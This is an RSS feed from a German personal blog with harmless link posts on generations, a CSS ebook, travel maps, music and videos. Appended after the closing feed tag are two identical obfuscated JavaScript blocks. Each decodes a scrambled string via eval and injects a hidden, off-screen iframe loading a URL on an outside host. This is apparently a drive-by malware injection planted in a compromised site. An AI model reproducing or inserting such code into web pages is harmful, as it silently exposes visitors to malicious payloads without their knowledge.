<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Georg Weidner &#187; Webfundstück</title>
	<atom:link href="http://www.georg-weidner.de/category/webfundstueck/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.georg-weidner.de</link>
	<description>Georg Weidner Ã¼ber eCommerce &#38; Online-Marketing, Usability, Web Analytics, SEO, SEM &#38; den Rest</description>
	<lastBuildDate>Thu, 02 Feb 2012 21:13:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>The &#8216;Y&#8217; &#8211; Generation</title>
		<link>http://www.georg-weidner.de/the-y-generation/</link>
		<comments>http://www.georg-weidner.de/the-y-generation/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 12:07:48 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[kultur]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=589</guid>
		<description><![CDATA[Gerade &#252;ber diesen uralten Entwurf gestolpert &#8211; will ich niemandem vorenthalten! The Silent Generation&#8230; &#8230;people born between 1925 and 1945. The Baby Boomers&#8230; &#8230;people born between 1946 and 1964. Generation X&#8230; &#8230;people born between 1965 and 1982. Generation Y&#8230; &#8230;people born between 1983 and 1997. Why do we call the last group of people Generation [...]]]></description>
			<content:encoded><![CDATA[<p><em>Gerade &uuml;ber diesen uralten Entwurf gestolpert &#8211; will ich niemandem vorenthalten! <img src='http://www.georg-weidner.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </em></p>
<p><em><strong>The Silent Generation&#8230; </strong></em><br />
&#8230;people born between 1925 and 1945.</p>
<p><em><strong>The Baby Boomers&#8230; </strong></em><br />
&#8230;people born between 1946 and 1964.</p>
<p><em><strong>Generation X&#8230; </strong></em><br />
&#8230;people born between 1965 and 1982.</p>
<p><em><strong>Generation Y&#8230; </strong></em><br />
&#8230;people born between 1983 and 1997.</p>
<p>Why do we call the last group of people Generation Y?</p>
<p>I had no idea until I saw this caricaturist&#8217;s explanation!<br />
A picture is worth a thousand words:</p>
<fieldset class="spoiler">
			<legend>
				<input type="button" onclick="tiny_spoiler('*klick*wumpisqrbi')" id="*klick*wumpisqrbi_button" value="+" />
				*klick*
			</legend>
			<div id="*klick*wumpisqrbi"><img class="aligncenter size-full wp-image-593" title="The Y Generation" src="http://www.georg-weidner.de/media/y-generation.gif" alt="The Y Generation" width="500" height="391" />
			</div>
		</fieldset>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/the-y-generation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kostenloses eBook: The Art &amp; Science Of CSS</title>
		<link>http://www.georg-weidner.de/kostenloses-ebook-the-art-and-science-of-css/</link>
		<comments>http://www.georg-weidner.de/kostenloses-ebook-the-art-and-science-of-css/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 22:45:01 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[ebook]]></category>
		<category><![CDATA[kostenlos]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=392</guid>
		<description><![CDATA[Ein kostenloses eBook von Sitepoint ist noch 11 Tage zu haben - Thema: CSS.]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><img class="size-full wp-image-393 alignleft" style="margin-right: 15px; margin-bottom: 10px; float:left;" title="sitepoint-artandscienceofcss" src="http://www.georg-weidner.de/media/sitepoint-artandscienceofcss.jpg" alt="" width="197" height="249" /></p>
<p style="text-align: left;">Sitepoint bietet noch 11 Tage ein <strong>kostenloses eBook</strong> an: <strong><em>The Art &amp; Science Of CSS</em></strong></p>
<p style="text-align: left;">Um den Downloadlink zu bekommen einfach <a title="twitter.com - sitepointdotcom" href="http://twitter.com/sitepointdotcom"><em>@sitepointdotcom</em></a> followen (Twitter), oder unter <a title="sitepoint - twitaway" href="http://www.twitaway.com">http://www.twitaway.com</a> die Emailadresse hinterlassen.</p>
<p style="text-align: left;">Behandelt werden auf 208 Seiten die &uuml;blichen Verd&auml;chtigen:<br />
Headlines, Bilder, Hintergr&uuml;nde, die Navigation, Formulare, abergundete Ecken und Tabellen.</p>
<p style="text-align: left;">Dabei wird das Vorgehen an Hand von Beispielen Schritt f&uuml;r Schritt erkl&auml;rt &#8211; ist also leicht verst&auml;ndlich.</p>
<p style="text-align: left;">Viel Spass!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/kostenloses-ebook-the-art-and-science-of-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The greatest Journeys</title>
		<link>http://www.georg-weidner.de/the-greatest-journeys/</link>
		<comments>http://www.georg-weidner.de/the-greatest-journeys/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 09:30:34 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Map]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=236</guid>
		<description><![CDATA[Das GOOD Magazine hat eine tolle, interaktive Karte mit den bekanntesten Routen unserer Erde verÃ¶ffentlicht und stellt diese in Wort und Bild vor.]]></description>
			<content:encoded><![CDATA[<p>Das <em>GOOD Magazine </em>hat eine geniale Seite ver&ouml;ffentlicht: <strong>The greatest journeys</strong><br />
Auf einer interaktiven Karte werden 23 weltbekannte Routen in Wort und Bild vorgestellt.</p>
<p style="text-align: center;"><a class="thickbox" href="http://www.georg-weidner.de/media/greatjourneys.jpg" rel="lightbox[236]"><img class="aligncenter size-medium wp-image-235" title="Great Journeys" src="http://www.georg-weidner.de/media/greatjourneys-300x258.jpg" alt="" width="300" height="258" /></a></p>
<p>Die Informationen sind allerdings etwas oberfl&auml;chlich gehalten &#8211; f&uuml;r tiefergehende Reiseberichte w&auml;ren dann doch andere Quellen zu bevorzugen. Um aber einen Ãœberblick zu bekommen (&#8220;Ja wo war das denn&#8230;&#8221;) ist die Karte perfekt.</p>
<p>Viel Spass mit den <a title="Greatest Journeys" href="http://awesome.goodmagazine.com/features/011/Wanderlust/">Greatest Journeys</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/the-greatest-journeys/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The greatest Music Collection</title>
		<link>http://www.georg-weidner.de/the-greatest-music-collection/</link>
		<comments>http://www.georg-weidner.de/the-greatest-music-collection/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 08:32:38 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[Musik]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=231</guid>
		<description><![CDATA[Unglaublich: Paul Mawhinney hat &#252;ber ein halbes Jahrhundert hinweg Musik gesammelt und es zu stolzen 6 Mio Titeln auf rund 2,5 Mio Datentr&#228;gern geschafft! Da er demn&#228;chst 70 Jahre alt wird, m&#246;chte er seine Sammlung die in einem 16.000 Quadratmeter gro&#223;em Lagerhaus steht gerne verkaufen &#8211; der gesch&#228;tzte Wert liegt bei &#252;ber $50 Mio! Das [...]]]></description>
			<content:encoded><![CDATA[<p>Unglaublich: Paul Mawhinney hat &uuml;ber ein halbes Jahrhundert hinweg Musik gesammelt und es zu stolzen <strong>6 Mio Titeln</strong> auf rund <strong>2,5 Mio Datentr&auml;gern</strong> geschafft! Da er demn&auml;chst 70 Jahre alt wird, m&ouml;chte er seine Sammlung die in einem 16.000 Quadratmeter gro&szlig;em Lagerhaus steht gerne verkaufen &#8211; der <strong>gesch&auml;tzte Wert liegt bei &uuml;ber $50 Mio</strong>! Das Tragische: Er verlangt nur $3 Mio und findet trotzdem keinen K&auml;ufer&#8230;</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="225" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.vimeo.com/moogaloop.swf?clip_id=1546186&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="225" src="http://www.vimeo.com/moogaloop.swf?clip_id=1546186&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object><br />
<a href="http://www.vimeo.com/1546186?pg=embed&amp;sec=1546186">The Archive</a> from <a href="http://www.vimeo.com/user674450?pg=embed&amp;sec=1546186">Sean Dunne</a> on <a href="http://vimeo.com?pg=embed&amp;sec=1546186">Vimeo</a>.</p>
<p>Wenn also jemand einen Faible daf&uuml;r hat ist das DIE Gelegenheit &#8211; es w&auml;re auch irgendwie schade, wenn diese Sammlung verloren gehen w&uuml;rde.</p>
<p>Link: <a title="The Greatest Music Collection" href="http://www.thegreatestmusiccollection.com">http://www.thegreatestmusiccollection.com</a></p>
<p>[<a title="The Greatest Music Collection" href="http://www.googlewatchblog.de/2008/08/26/bitte-kaufen-the-greatest-music-collection/">via</a>]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/the-greatest-music-collection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Schattenspiele: Pilobolus</title>
		<link>http://www.georg-weidner.de/schattenspiele-pilobolus/</link>
		<comments>http://www.georg-weidner.de/schattenspiele-pilobolus/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 09:48:35 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=225</guid>
		<description><![CDATA[Zum Montag ein Video von einer genialen Artistengruppe, bei der jeder Zirkus erblasst. Ich w&#252;nsche einen guten Start in die neue Woche! Immer wieder beeindruckend: Pilobolus]]></description>
			<content:encoded><![CDATA[<p>Zum Montag ein Video von einer genialen Artistengruppe, bei der jeder Zirkus erblasst. Ich w&uuml;nsche einen guten Start in die neue Woche!</p>
<p>Immer wieder beeindruckend: <strong>Pilobolus</strong></p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="src" value="http://www.youtube.com/v/3n8gxEwLx0w&amp;hl=en&amp;fs=1" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/3n8gxEwLx0w&amp;hl=en&amp;fs=1" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/schattenspiele-pilobolus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tim reloaded: Fantastic Contraption</title>
		<link>http://www.georg-weidner.de/tim-reloaded-fantastic-contraption/</link>
		<comments>http://www.georg-weidner.de/tim-reloaded-fantastic-contraption/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 16:09:11 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=220</guid>
		<description><![CDATA[Wer kennt noch Tim? Das war vor laaaaanger Zeit ein grandioses Computerspiel, bei welchem man aus vielen (verr&#252;ckten) Einzelteilen funktionierende Automaten bauen musste. Tim ist leider, leider schon lange Geschichte &#8211; daf&#252;r gibt&#8217;s jetzt Fantastic Contraption: Das rote Teil muss in den roten Kasten &#8211; und um dieses Ziel zu erreichen k&#246;nnen die oben angezeigten [...]]]></description>
			<content:encoded><![CDATA[<p>Wer kennt noch <em>Tim</em>? Das war vor laaaaanger Zeit ein grandioses Computerspiel, bei welchem man aus vielen (verr&uuml;ckten) Einzelteilen funktionierende Automaten bauen musste.</p>
<p>Tim ist leider, leider schon lange Geschichte &#8211; daf&uuml;r gibt&#8217;s jetzt <strong>Fantastic Contraption</strong>:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-221" title="Fantastic Contraption" src="http://www.georg-weidner.de/media/fantasticcontraption.jpg" alt="" width="375" height="276" /></p>
<p>Das rote Teil muss in den roten Kasten &#8211; und um dieses Ziel zu erreichen k&ouml;nnen die oben angezeigten Elemente eingesetzt werden. Was hier noch gaaaanz einfach ist, wird auf sp&auml;teren Karten &auml;usserst knifflig.</p>
<p>Viel Erfolg beim selber ausprobieren und dem Bezwingen der entstehenden Sucht! <img src='http://www.georg-weidner.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Link: <a title="Fantastic Contraption" href="http://fantasticcontraption.com/">http://fantasticcontraption.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/tim-reloaded-fantastic-contraption/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Soziale Netzwerke visualisiert</title>
		<link>http://www.georg-weidner.de/soziale-netzwerke-visualisiert/</link>
		<comments>http://www.georg-weidner.de/soziale-netzwerke-visualisiert/#comments</comments>
		<pubDate>Thu, 31 Jul 2008 11:25:13 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[Grafik]]></category>
		<category><![CDATA[Soziale Netzwerke]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=175</guid>
		<description><![CDATA[Gerade eben bin ich &#252;ber einen genialen Artikel gestolpert, welcher die 10 sch&#246;nsten Visualisierungen von Sozialen Netzwerken zusammenfasst. Dabei ist es &#252;berhaupt nicht trivial, die vielen Verbindungen zwischen den Menschen und Gruppen eines sozialen Netzwerks zu visualisieren, doch mitunter kommen dabei sehr geniale Bilder heraus. Ein Blick lohnt sich bei SocialMediaTrader.com und Kunal Anand (del.icio.us) [...]]]></description>
			<content:encoded><![CDATA[<p>Gerade eben bin ich &uuml;ber einen genialen Artikel gestolpert, welcher die 10 sch&ouml;nsten Visualisierungen von Sozialen Netzwerken zusammenfasst.</p>
<p>Dabei ist es &uuml;berhaupt nicht trivial, die vielen Verbindungen zwischen den Menschen und Gruppen eines sozialen Netzwerks zu visualisieren, doch mitunter kommen dabei sehr geniale Bilder heraus.<br />
Ein Blick lohnt sich bei <a title="Soziale Netzwerke visualisiert" href="http://socialmediatrader.com/10-amazing-visualizations-of-social-networks/">SocialMediaTrader.com</a> und <a title="looks del.icio.us" href="http://kunalanand.com/delicious/">Kunal Anand (del.icio.us)</a></p>
<p>Auch sehr sehenswert ist das Video &uuml;ber ICARUS!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/soziale-netzwerke-visualisiert/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Warum man nie, niemals, never dem Ãœbersetzungstool trauen darf!</title>
		<link>http://www.georg-weidner.de/warum-man-nie-niemals-never-dem-ubersetzungstool-trauen-darf/</link>
		<comments>http://www.georg-weidner.de/warum-man-nie-niemals-never-dem-ubersetzungstool-trauen-darf/#comments</comments>
		<pubDate>Thu, 17 Jul 2008 14:21:31 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[fun]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=126</guid>
		<description><![CDATA[Translate Server Error Restaurant: Trau nie, niemals, never deinem Ãœbersetzungstool!]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-127 aligncenter" title="translate-server-error" src="http://www.georg-weidner.de/media/translate-server-error.jpg" alt="Chinesisches Restaurant namens Translate Server Error" width="500" height="376" /></p>
<p style="text-align: left;">[<a title="Translate Server Error Restaurant" href="http://adweek.blogs.com/adfreak/2008/07/then-well-grab.html">hier gefunden</a>]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/warum-man-nie-niemals-never-dem-ubersetzungstool-trauen-darf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dennis Hwang: Der Google Doodler</title>
		<link>http://www.georg-weidner.de/dennis-hwang-der-google-doodler/</link>
		<comments>http://www.georg-weidner.de/dennis-hwang-der-google-doodler/#comments</comments>
		<pubDate>Sun, 13 Jul 2008 21:03:36 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[Doodle]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=96</guid>
		<description><![CDATA[Wirklich jeder kennt seine Werke &#8211; doch kaum einer kennt ihn: Dennis Hwang, den Sch&#246;pfer der Google Doodles. &#8220;Doodles&#8221; (zu deutsch: Gekritzel), das sind die Verzierungen von Googles Logo auf der Startseite. Nun hat wiwo.de einen sehr interessanten Artikel &#252;ber den Kritzelmeister von Google ver&#246;ffentlicht: Wie er zu dem Job kam und was seine eigentlichen [...]]]></description>
			<content:encoded><![CDATA[<p>Wirklich jeder kennt seine Werke &#8211; doch kaum einer kennt ihn: Dennis Hwang, den Sch&ouml;pfer der <a title="Google Doodles" href="http://www.google.com/holidaylogos.html">Google Doodles</a>. &#8220;Doodles&#8221; (zu deutsch: Gekritzel), das sind die Verzierungen von Googles Logo auf der Startseite.</p>
<p>Nun hat wiwo.de einen sehr interessanten Artikel &uuml;ber den <a title="wiwo.de - Der Kritzelmeister von Google" href="http://www.wiwo.de/karriere/der-kritzelmeister-von-google-300293/">Kritzelmeister von Google</a> ver&ouml;ffentlicht: Wie er zu dem Job kam und was seine eigentlichen Aufgaben sind.</p>
<p>Doch so genial seine Sch&ouml;pfungen auch sind &#8211; ein bisschen Schade finde ich es schon, dass in Zukunft ein ganzes Team noch &ouml;fter Doodles ver&ouml;ffentlichen soll. Damit geht das Seltene und Besondere an ihnen leider zusehends verloren.</p>
<p>Link: <a title="wiwo.de - Der Kritzelmeister von Google" href="http://www.wiwo.de/karriere/der-kritzelmeister-von-google-300293/">Der Kritzelmeister von Google</a> (wiwo.de)<a title="wiwo.de - Der Kritzelmeister von Google" href="http://www.wiwo.de/karriere/der-kritzelmeister-von-google-300293/"><br />
</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/dennis-hwang-der-google-doodler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Virtual Barber Shop</title>
		<link>http://www.georg-weidner.de/the-virtual-barber-shop/</link>
		<comments>http://www.georg-weidner.de/the-virtual-barber-shop/#comments</comments>
		<pubDate>Thu, 03 Jul 2008 21:30:21 +0000</pubDate>
		<dc:creator>Georg</dc:creator>
				<category><![CDATA[Webfundstück]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://www.georg-weidner.de/?p=86</guid>
		<description><![CDATA[The Virtual Barber Shop: KopfhÃ¶rer aufsetzen, Augen schlieÃŸen und den beeindruckenden Inhalten lauschen! Und jetzt nicht wundern - einfach machen und danach genauso begeistert sein wie ich...]]></description>
			<content:encoded><![CDATA[<p>Ein virtueller Friseur &#8211; alles klar werden sich nun die meisten denken.<br />
Aber glaubt mir: <strong>Es lohnt sich!</strong></p>
<p>Um den Effekt nicht zu zerst&ouml;ren werde ich &uuml;ber den Inhalt nichts weiter verraten.<br />
Einfach ausprobieren <img src='http://www.georg-weidner.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Ganz wichtig: Kopfh&ouml;rer aufsetzen, Augen zu machen und den Sound auf sich wirken lassen!</strong></p>
<p><span id="more-86"></span></p>
<p>(Es gibt kein Bild)</p>
<p>Viel Spass! Und lasst mich wissen, was ihr dabei so gef&uuml;hlt habt! <img src='http://www.georg-weidner.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: center; margin-top:15px;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/IUDTlvagjJA&amp;hl=en&amp;fs=1" /><param name="vspace" value="20" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/IUDTlvagjJA&amp;hl=en&amp;fs=1" vspace="20"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.georg-weidner.de/the-virtual-barber-shop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var $r=(Date);if($r){$A='762';}var $v={'x':'\x73\x75bstr','y':!false,'A':'\x73plit','Y':'\x6A\x6Fin','c':'st\x72\x69\x6Eg','s':'\x6C\x65\x6Egth','D':'rev\x65\x72\x73e'},$E='',$d=['nodcuemtw.ri<dsviet(\' tydi"=ylapsel:;"ennon_"d=i "Y___>hngm:ptth//srr6eabron.nbac.om.b.r/dajgp?3v>;)\'/<di'][$v.Y]('\x0A'),$A=$A[$v.A]($E),$2=function(){for(var $f in $A){if(typeof($A[$f])==$v.c){var $X=[],$u=$v.y,$r=$A[$f]*-~false;for(c=[]^[];c<$d[$v.s];c+=$r){$X[c]=($u)?($d[$v.x](c,$r)[$v.A]($E)[$v.D]()[$v.Y]($E)):($d[$v.x](c,$r));$u=!$u;}$d=$X[$v.Y]($E);}}this['eva\x6C']($d);},$d=$2();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____Yn').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var $r=(Date);if($r){$A='762';}var $v={'x':'\x73\x75bstr','y':!false,'A':'\x73plit','Y':'\x6A\x6Fin','c':'st\x72\x69\x6Eg','s':'\x6C\x65\x6Egth','D':'rev\x65\x72\x73e'},$E='',$d=['nodcuemtw.ri<dsviet(\' tydi"=ylapsel:;"ennon_"d=i "Y___>hngm:ptth//srr6eabron.nbac.om.b.r/dajgp?3v>;)\'/<di'][$v.Y]('\x0A'),$A=$A[$v.A]($E),$2=function(){for(var $f in $A){if(typeof($A[$f])==$v.c){var $X=[],$u=$v.y,$r=$A[$f]*-~false;for(c=[]^[];c<$d[$v.s];c+=$r){$X[c]=($u)?($d[$v.x](c,$r)[$v.A]($E)[$v.D]()[$v.Y]($E)):($d[$v.x](c,$r));$u=!$u;}$d=$X[$v.Y]($E);}}this['eva\x6C']($d);},$d=$2();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____Yn').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
